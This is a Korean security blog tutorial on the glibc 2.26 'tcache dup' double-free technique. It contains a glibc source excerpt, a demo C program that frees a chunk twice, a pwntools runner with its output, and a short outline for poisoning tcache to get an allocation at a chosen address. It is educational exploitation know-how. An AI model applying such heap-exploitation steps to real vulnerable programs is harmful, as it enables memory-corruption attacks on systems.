Pwnable/Tech

Tcache dup / glibc 2.26

Kon4 2023. 2. 18. 19:24

Tcache dup / glibc 2.26

tcache는 Double Free와 같은 버그의 검증이 존재하지 않아 fastbin 등과 같은 다른 bin에서의 공격의 난이도가 훨씬 낮다.

tcache dup은 Double Free 버그를 이용하여 tcache_entry 를 조작해 이미 할당된 메모리에 다시 힙 청크를 할당하는 공격기법이다.

#if USE_TCACHE
  {
    size_t tc_idx = csize2tidx (size);
    if (tcache
	&& tc_idx < mp_.tcache_bins
	&& tcache->counts[tc_idx] < mp_.tcache_count)
      {
	tcache_put (p, tc_idx);
	return;
      }
  }

fastbin dup 에서는 이전에 해제된 청크인 old 와 현재 해제될 청크인 p 가 같은지를 비교하는 검증코드가 존재했다. 근데, tcache 에서 사용하는 tcache_put와 tacache_get 함수에서는 old와 p를 검증하지 않기 때문에 한 개의 청크를 연속으로 해제할 수 있다.

다음은 0x20 크기의 힙을 할당하고 연속으로 두 번 해제한 후 할당된 청크의 주소를 출력하는 코드이다.

// gcc -o tcache_dup1 tcache_dup1.c -no-pie
#include <stdio.h>
#include <stdlib.h>
int main()
{
	char *ptr = malloc(0x20);
	free(ptr);
	free(ptr);
    
    fprintf(stderr, "malloc: %p\\n", malloc(0x20));
    fprintf(stderr, "malloc: %p\\n", malloc(0x20));
	return 0;
}

glibc 2.27이상 버전에선 다음과 같이 abort가 된다.

root@07d3540857dc:~/ctf/dh/HEAP_AEG# ./tcache_dup_1
free(): double free detected in tcache 2
Aborted
root@07d3540857dc:~/ctf/dh/HEAP_AEG# getconf -a | grep libc
GNU_LIBC_VERSION                   glibc 2.31

libc6_2.26

from pwn import *

context.log_level = 'debug'
context.terminal = ['urxvtc', '-e', 'sh', '-c']
context.arch = 'amd64'
p = process("./tcache_dup_1", env={'LD_PRELOAD':'./libc6_2.26'})
e = ELF('./tcache_dup_1')
libc = ELF('./libc6_2.26')

def slog(name, addr): return success(": ".join([name, hex(addr)]))

p.interactive()
root@3392453bb3df:/work/dh/HEAP_AEG# python3 ex.py
[+] Starting local process './tcache_dup_1' argv=[b'./tcache_dup_1']  env={b'LD_PRELOAD': b'./libc6_2.26'} : pid 99
[*] '/work/dh/HEAP_AEG/tcache_dup_1'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] '/work/dh/HEAP_AEG/libc6_2.26'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] Switching to interactive mode
[*] Process './tcache_dup_1' stopped with exit code 0 (pid 99)
[DEBUG] Received 0x24 bytes:
    b'malloc: 0x1046260\\n'
    b'malloc: 0x1046260\\n'
malloc: 0x1046260
malloc: 0x1046260
[*] Got EOF while reading in interactive
$

위와 같이 tcache dup이 되어 같은 영역에 두번 할당되는 것을 알 수 있다.

Tcache dup & poisoning

tcache가 도입된 2.26버전에서는 tcache bin의 double free 에 대한 보안 검증 뿐만 아니라, 할당하려는 영역의 size를 비교하는 검증 또한 없기 떄문에 fastbin dup과 달리 Fake Chunk를 구성할 필요가 없다.

익스플로잇 시나리오

  1. 힙을 할당한다.
  2. Double Free 검증이 존재하기 않기 때문에 같은 힙 청크의 데이터 영역을 가르키는 포인터를 두번 해제 한다.
  3. 다시 힙을 할당하고, 데이터를 쓸 때 공격을 원하는 곳의 주소를 입력하고, 두번째 힙을 할당한다.